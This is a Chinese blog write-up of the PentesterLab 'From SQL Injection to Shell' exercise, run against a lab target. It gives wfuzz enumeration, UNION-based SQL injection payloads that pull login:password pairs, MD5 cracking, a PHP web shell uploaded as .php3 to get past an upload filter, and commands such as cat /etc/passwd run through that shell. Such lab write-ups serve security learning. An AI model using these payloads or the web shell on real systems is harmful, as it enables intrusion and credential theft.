[Pentester Lab]From SQL Injection to Shell

本文翻译了[Pentester Lab]From SQL Injection to Shell的要点,记录了笔者按照教程进行复现的过程。

By the way,庆祝一下自己拿到的第一个Web Shell(虽然是靶机233333

1. 介绍

  • 实验目的:

    • 在基于PHP的网站中使用SQL注入,以及攻击者如何使用SQL注入获取管理员界面的访问权限。然后,攻击者可以在Server上实现代码执行。
  • 攻击可以分为3个步骤:

    1. 指纹识别
    2. SQL注入的检测和利用
    3. 访问管理页面,执行代码

2. 指纹识别

使用浏览器,可以侦察到该Web应用是使用PHP实现的。

2.1 探测HTTP头

  • 可用工具
    1. telnet
    2. nc
    3. openssl
    4. burpsuite

2.2 使用dirBuster

  1. 工具:wfuzz

    命令如下:

    wfuzz -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
    ********************************************************
    * Wfuzz 2.2.11 - The Web Fuzzer                        *
    ********************************************************
    
    Target: http://vulnerable/FUZZ
    Total requests: 3036
    
    ==================================================================
    
    ID  Response   Lines      Word         Chars          Payload    
    ==================================================================
    
    
    000138:  C=301      9 L       28 W      308 Ch    "admin"
    000547:  C=200     92 L      141 W     1858 Ch    "cat"
    000586:  C=403     10 L       30 W      286 Ch    "cgi-bin/"
    000642:  C=301      9 L       28 W      310 Ch    "classes"
    000761:  C=301      9 L       28 W      306 Ch    "css"
    001290:  C=200     40 L       63 W      796 Ch    "header"
    001362:  C=301      9 L       28 W      309 Ch    "images"
    001375:  C=200     71 L      103 W     1343 Ch    "index"
    002489:  C=200     70 L      108 W     1320 Ch    "show"
    
    Total time: 3.939425
    Processed Requests: 3036
    Filtered Requests: 3027
    Requests/sec.: 770.6706

3. SQL注入的检测和利用

3.1 检测SQL注入

3.1.1 SQL简介

  1. SQL的基本操作:增删改查。其他操作(如:创建/移除/修改表,数据库或触发器)较少用于web应用。
  2. 以SELECT为例:

    SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=interger1 AND column6=interger2;

    命令由以下部分组成:(1)SELECT陈述(2)目标列(3)指定表名(4)WHERE指定条件

    SELECT * FROM tablename

    显示该表中的所有列

    • UPDATE:
    • INSERT
    • DELETE

3.1.2 基于整数的检测

  1. 检测网站注入点时,如果有错误信息回显,会方便很多。
  2. 举例,URL中提供的值被直接写入SQL查询语句,并被认为是整数。
    • 可以尝试让数据库执行基本的数学操作:

      /article.php?id=2-1
      /article.php?id=2-0
    • 各种情况以及利用方法:
      • 情况1:数据库执行了减法
      • 情况2:数据库不执行减法,那么整数的注入可能不可行。尝试字符串注入。
      • 情况3:使用单引号',应该会得到报错信息
  3. 注意,URL中的整数变量可以使用categorie.php?id=1,也可以使用categorie.php?id='1',SQL允许整数直接输入,也允许整数带单引号,作为字符串输入(比直接使用整数要慢一些)。

3.1.3 基于字符串的检测

  1. 如果网页存在SQL注入,那么注入一个单引号'会破坏查询语法,并且产生一个错误。
    • 注入两个单引号''不会破坏查询。
    • 通常来说,奇数个单引号会导致错误,而偶数个单括号则不会。
  2. 也可以使用' --将查询的后半部分给注释掉。
    • 例如下面的查询,
      SELECT id,name FROM users where name='test' and id=3;
      使用注释符号,
      SELECT id,name FROM users where name='test' --' and id=3;
      等同于
      SELECT id,name FROM users where name='test
    • 但是,如果查询采用下面的模式,使用注释依然会导致失败。
      SELECT id,name FROM users where ( name='test' and id=3 );
      可以通过加入一个或者多个括号,来找到不会犯错的值。
  3. 通常,' and '1'='1不太可能影响查询的语义,所以查询的结果和没有注入的时候很可能是一样的。作为比较,使用' and '1'='0不太可能产生错误,但是很可能改变查询的语义。
  4. 注意,SQL注入不是一门精确的科学,许多因素都可能影响测试的结果。如果发现了可能的征兆,坚持注入并尝试通过注入来搞清楚代码的逻辑,以确定这是一个SQL注入。
  5. 为了发现SQL注入点,需要访问网站,并对每一个网页上的所有参数,尝试上述的方法。一旦发现了SQL注入点,就可以接着来利用它。

3.2 SQL注入的利用

在网页http://vulnerable/cat.php找到SQL注入点之后,我们需要利用它来获取更多信息。所以,我们需要了解SQL中的UNION关键字。

3.2.1 UNION关键字

  1. UNION关键字用来把两个查询的结果放在一起。
  2. UNION可以从其他表中获取信息,因此能作为SQL注入的payload。查询的开头部分是由PHP代码生成的,所以攻击者无法修改它们。但是使用UNION,攻击者可以操纵查询的结尾,并从其他表中检索信息。
    SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password FROM users
    最重要的一条规则,就是两个声明语句应该返回相同数量的列数,否则数据库会触发错误。

3.2.2 使用UNION利用SQL注入

  1. 使用UNION利用SQL注入的步骤如下:
    1. 确定列数
    2. 确定页面中显示了哪些列
    3. 从数据库元表(?)中获取信息
    4. 从其他表/数据库中获取信息
  2. 在没有源码的情况下,只能通过猜测确定第一个查询中返回的列数。可以通过以下方法:
    1. 使用UNION SELECT,并且增加列的数目
    2. 使用ORDER BY语句
  3. 使用UNION语句

如果使用UNION,并且两个查询的列数是不同的,那么数据库会抛出一个错误。

The used SELECT statements have a different 
number of columns 

通过这个属性,可以猜测出列的数目。例如,对于如下查询:

SELECT id,name,price FROM articles where id=1

可以通过下面的步骤进行尝试:

SELECT id,name,price FROM articles where id=1 UNION SELECT 1
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3

该方法适用于MySQL,其他的数据库应该把值1,2,3,...改为null,null,null,...。因为数据库对于UNION关键字需要相同的类型的值。对于Oracle,在使用SELECT时必须也使用FROM关键字,而dual表可以用来补全请求:UNION SELECT null,null,null FROM dual

  1. 使用ORDER BY语句
    ORDER BY通常用于指定数据库使用哪个列进行排序。
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname 

上述请求会返回用户信息,并按照firstname列进行排序。

ORDER BY可以同一个整数一起使用,使数据库按照第X列进行排序。

SELECT firstname,lastname,age,groups FROM users ORDER BY 3

上述请求会使用第3列进行排序。

这个特征可以用来检测列的数量,如果ORDER BY中的列号,大于查询中的列数,则会抛出一个错误。例如使用了列号10:

Unknown column '10' in 'order clause'

可以利用这个属性来猜测列的数目。例如,可以注入下面的查询:

SELECT id,name,price FROM articles where id=1

可以尝试下面的步骤:

SELECT id,name,price FROM articles where id=1 ORDER BY 5 -- error
SELECT id,name,price FROM articles where id=1 ORDER BY 3 -- correct
SELECT id,name,price FROM articles where id=1 ORDER BY 4 -- error

基于这种二分查找,可以确定列数为3。然后可以构建最终的查询:

SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3

二分查找在列数较大的情况下,速度可以显著加快。

3.2.3 获取信息

确定了列数之后,我们可以从数据库中获取信息。基于获取的错误信息,我们可以确定后端的数据库是MySQL。

使用这个信息,我们可以强制数据库执行一个函数,或者给我们泄露信息:

  • PHP应用使用current_user()连接到数据库
  • 数据库的版本使用version()

为了执行这两个函数,我们需要把前面语句中的一个值,替换为我们想要运行的函数,从而获取response中的结果。

注意,在获取信息时要确保列数是正确的。

可以通过下面的例子获取信息:

  • 数据库版本:http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,@@version,3,4
    数据库版本
  • the current user:http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,current_user(),3,4
    当前用户
  • the current database:http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,database(),3,4
    当前数据库名称
    目前,我们可以从数据库中获取任意信息。为了获取当前应用的信息,我们还需要得到:
  • 当前数据库的所有表名
  • 我们想要从中获取信息的表的列名

MySQL 5之后的版本,提供了包含数据库,表和列等元数据的表。我们要利用这些表,来获取我们需要的信息,从而构建最终的查询。这些表存储在数据库information_schema中。可以使用下列查询:

  • 所有表的list:SELECT table_name FROM information_schema.tables
  • 所有列的list:SELECT column_name FROM information_schema.columns

通过把这些查询混合在之前的URL中,可以猜出访问哪些网页来获取信息:
- 所有表的list:1 UNION SELCET 1,table_name,3,4 FROM information_schema.tables
- 所有列的list:1 UNION SELCE 1,column_name,3,4 FROM information_schema.columns

这些查询提供了所有表和列的原始list,但是为了查询数据库来获取感兴趣的信息,你需要知道哪些列是属于哪些表的。幸运的是,表information_schema.columns存储了这些表名:

SELCET table_name,colum_name FROM information_schema.columns

为了获取信息,我们有两种方式:

  • 将表名和列名放在注入的不同部分:
1 UNION SELCET 1,table_name,column_name,4 FROM information_schema.columns
  • 将表名和列名串联在注入的同一部分,使用关键字CONCAT
1 UNION SELCET 1,concat(table_name,':',column_name),3,4 FROM information_schema.columns

其中':'用来在查询结果中清晰地分隔两个部分。

如果想要使用正则表达式,从结果页中轻松地获取信息(比如写一个SQL注入的脚本),你可以在注入中使用一个标记:1 UNION SELECT 1,concat('^^^',table_name,':',column_name,'^^^') FROM information_schema.columns。这样就可以轻松匹配到页面的结果。
[Pentester Lab]From SQL Injection to Shell_第1张图片

目前,可以获取到一个关于表和列的list,第一个表和列是默认的MySQL表。在HTML页面的结尾,可以得到一个表的list,很可能是当前的应用使用的表。
[Pentester Lab]From SQL Injection to Shell_第2张图片

通过这些信息,可以构建一个查询,来获取表中的信息:

1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;

[Pentester Lab]From SQL Injection to Shell_第3张图片

SQL注入提供的权限,等于应用连接到数据库所使用的用户(current_user)权限。这就是为什么强调,在部署Web应用时要坚持“最小权限原则”。

4. 访问管理页面和代码执行

4.1 破解密码

  1. 一个没有加盐的哈希值,可以使用Google轻松破解。
    [Pentester Lab]From SQL Injection to Shell_第4张图片
  2. 使用John-The-Ripper(http://www.openwall.com/john/)
    • 使用John破解密码,需要提供加密的算法。对于Web应用,一个合理的猜测是MD5
    • MD5算法需要使用community-enhanced版本的John

4.2 上传Webshell并执行代码

  1. 一旦获取管理员界面的访问权,下一个目标就是在OS中执行命令。
  2. 管理员界面有一个文件上传功能,允许用户上传一张图片,因此可以尝试使用该功能上传一段PHP代码。上传的PHP代码可以给我们提供一个运行PHP代码和命令的途径。

        
            system($_GET['cmd']);
        ?>
  3. 发现应用禁止上传.php文件
    [Pentester Lab]From SQL Injection to Shell_第5张图片

  4. 可以使用下列后缀名绕过:

    .php3
    .php.test
  5. 怎样可以获取到上传图片的存放路径?查看网页源码,可以看到标签指向的图片的路径。

      <div class="content">
        <h2 class="title">Last picture: Test shellh2>
    
        <div class="inner" align="center">
          <p>
            <img src="admin/uploads/shell.php3" alt="Test shell" />          p>
        div>
     div>
  6. 使用下面的网址,通过cmd参数来运行代码。通过uname命令可以获取当前的系统内核(Linux)。

    http://vulnerable/admin/uploads/shell.php3?cmd=uname

    • 其他命令
      • cat /etc/passwd:系统用户的完整列表

        root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
      • uname -a:当前内核的版本

        Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux
      • ls:获取当前目录的内容

        cthulhu.png hacker.png ruby.jpg shell.php3
  7. webshell与运行PHP脚本的Web Server有着相同的权限,所以无法获取到/etc/shadow文件的内容,因为Web Server也没有访问该文件的权限。但是依然值得试一试,也许管理员错误地改变了这个文件的权限。
  8. 每一个命令都独立于之前的命令,运行在相同的上下文中。所以无法通过cd /etcls来获得/etc目录的内容,因为第2条命令会处于新的上下文中。为了获取目录/etc的内容,可以使用ls /etc命令。

5. 总结

  1. 本练习手工检测和利用了SQL注入,从访问管理页面。一旦进入“信任区域”,就可以使用更多的功能,从而导致更多的漏洞。
  2. 本练习基于之前对一个网站进行的渗透测试。但是如今还有许多网站有这种类型的漏洞。
  3. 本练习中提供的web server是一种理想情况:开启了错误回显,并且关闭了PHP保护选项。
    • 可以开启PHP保护选项,提高本练习的难度。方法如下:
    • 在PHP设置(/etc/php5/apache2/php.ini)中,启用magic_quotes_gpc,禁用display_errors。然后重启Web Server(/etc/init.d/apache2 restart)。

你可能感兴趣的:(Web,Pentester,Lab)